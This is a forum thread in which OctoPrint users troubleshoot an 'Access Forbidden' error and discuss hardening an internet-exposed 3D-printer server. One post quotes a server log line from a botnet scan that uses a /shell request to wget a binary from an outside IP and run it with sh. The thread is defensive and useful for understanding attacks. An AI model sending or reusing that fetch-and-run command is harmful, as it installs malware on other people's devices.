Access Forbidden?


#1

What is the problem?

When I load Octoprint 1.3.9, and log into the web interface, I am met with a pop up dialog saying:

Cannot load default settings: Access: Forbidden.

Or something similar. This only happens on my main instance of OctoPi and not my second instance.

Changing any settings greets me with a NON-DIALOG, Octoprint pop-up, complaining about Access: Forbidden, unable to be read or readable by server.

What did you already try to solve it?

I've already checked the permissions of all the files, and chowned them to pi.pi. This did not fix the issue.
I have attempted to restart the server several times, to no avail.
I attempted to do an upgrade of octoprint though pip (using latest, which did a fresh install while keeping my plugins).

Additional information about your setup (OctoPrint version, OctoPi version, printer, firmware, octoprint.log, serial.log or output on terminal tab, ...)

None of my logs are showing up in the web interface, so any logs will have to be copied over by hand from an ssh session window.

octoprint.log


#2

There's no such dialog in OctoPrint but I think I saw one in Octolapse. Try disabling that plugin and see if the issue goes away.

In general, it is a good idea to start in safe mode to check if a problem is caused by a third party plugin.


#3

From what I can tell, it's TouchUI throwing that dialog, but that's just me on a hunch.

EDIT:
Just attempted to switch into safe mode from the web interface. I was met with this:
image


#4

Log out and back in again. This looks like something in your session got messed up, your browser still thinks you are logged in but you actually aren't.


#5

It won't let me log out. I may have to clear my cookies. Let me try from Chrome, first...


#6

Just documenting that the OP's OctoPrint version is 1.3.9 (from the log).


#7

I did state that in the main post.
I'm also running an update now, since it popped up.

No luck from chrome, getting errors when I login there, too.


#8

Logged out, cleared cookies, cleared cache. Same issues.


#9

Apologies, I must have missed that.


#10

Next step is running safe mode from the command line. If it doesn't work then, check the JS error console and network tab (F12 on most browsers).

Also read this:

because some script kiddies are already poking your server looking for vulnerabilities according to the log - and the last you probably want during an ongoing print is some idiot DDOSing your instance just for fun.


#11

It looks like they know that you're running OctoPrint by the looks of things. And... they've spent a fair amount of time POST'ing to the settings API. I'm guessing that they were trying to block your own access to your printer. It looks like they got some help along the way from someone who probably knew more about OctoPrint.

If this were my printer, I'd consider resetting my router's public IP address, starting over with a fresh OctoPi install and to not put my instance on the Internet next time. These people won't stop hacking your printer until you remove their ability to do so.


#12

Where are you getting that from? :thinking: To me it looked more like untargeted attempts to find some vulnerable php my admin. The later 403s are probably the OP running into the current issue.

What I noticed there though is a mixture of IPv4 and IPv6 IPs, so if that is from Windows and that instance is reachable through both v4 and v6 it might be an issue with its dual stack that I also observed a while ago. 1.3.9 I think (!) still has stronger ip change protection in and will throw away the session if it seems to come from different IPs.


#13

I'm seeing a few IP addresses here...

76.111.240.130
108.162.212.60
108.162.210.179
108.162.212.234
108.162.212.246
113.96.223.207
154.85.99.103
162.158.123.8
162.158.123.50
162.158.122.151
162.158.122.157
162.158.122.193
162.158.123.56
162.158.123.122
108.162.210.215
199.195.254.118

# This is the stuff that's really telling: they're trying to use your server to pull in new code to run
GET /shell?cd+/tmp;cd+/var;wget+http://199.195.254.118/jaws+-O+lwodo;sh%+lwodo;rm+-rf+lwodo (::ffff:195.31.208.130) 12.56ms

You're probably right, foosel. I'm just having a hard time separating the sheep from the wolves here.


#14

@OutsourcedGuru
I mean, I am using CloudFlare to manage my outbound/inbound connections, at least though my domain name. I've been having some issues with people just poking at my Public IP for months now, and I really don't want to have to change my public IP. Even if they block access to my own printer, they aren't always remote, and I can easily get physical access to my machines whenever. They literally sit right next to me while I am at home.

@foosel
See above; I will look into doing safe mode from CLI and check out that guide for Safe Remote Access. Nothing on the internet is safe. If need be, I will post any more issues and errors, in an attempt to help you guys squash vulnerabilities like this.

I've updated OctoPrint. Not much has changed. One of my instances is perfectly fine. One of my instances is bugged. I will change haproxy to point to the webcam, which will indeed break my abilities to upload directly from Slic3r and Cura, but I guess I will have to deal with that for now.


#15

Look into

  • fail2ban
  • iptables/ferm/ufw
  • openvpn

But for the love of all that is holy please don't just hang stuff online without additional securing. Whitelisting, not blacklisting, and aggressive automatic banning. Non standard port numbers can also do wonders.

Erm, to what? You were already running latest stable with 1.3.9. Are you now on 1.3.10rc2?

Just for the record, so far there's no vulnerability visible here. You have a bunch of entries there that originate from some clients automatically scanning your server and poking around for potentially vulnerable PHP based admin interfaces (good luck with that here), and you have what based on the request pattern seems to be yourself accessing the web interface and running into the aforementioned 403s.

Running in safe mode will at least rule out any kind of plugin issues here, but I'm actually now more leaning towards these ip change shenanigans being at the bottom of this. Would be interesting to know what happens when you access the instance via your LAN, not via your public address.


#16

A new OctoPrint was released fairly recently. Like, a moment ago. I'm now on 1.4.0, apparently.

EDIT: Apparently that was a Farce.


#17

Years ago, I owned and ran a datacenter so I was responsible for making those safe from the Internet. There were many times when I saw innovative attacks and I had to often write software in realtime to block the bad guys.

That said, when you see so many hosts all attacking you all at once, it's time for drastic measures.


#18

As in: they faked a 1.4.0 release...?


#19

I'm fairly sure that I would know if a new version had been released, and I would definitely know if 1.4.0 was released. I write that stuff.

I have no idea what you are running there now. Best case it is a current development build from the devel branch since you somehow managed to switch to commit tracking and also manually switched your branch. Worst case it's god knows what. Combined with the break-in attempts at this point I'd actually recommend to make a backup of your settings, do a fresh install, and then double check that you are still on stable releases.


#20

I think I would review the software update URL in the config.yaml before relying on that backup.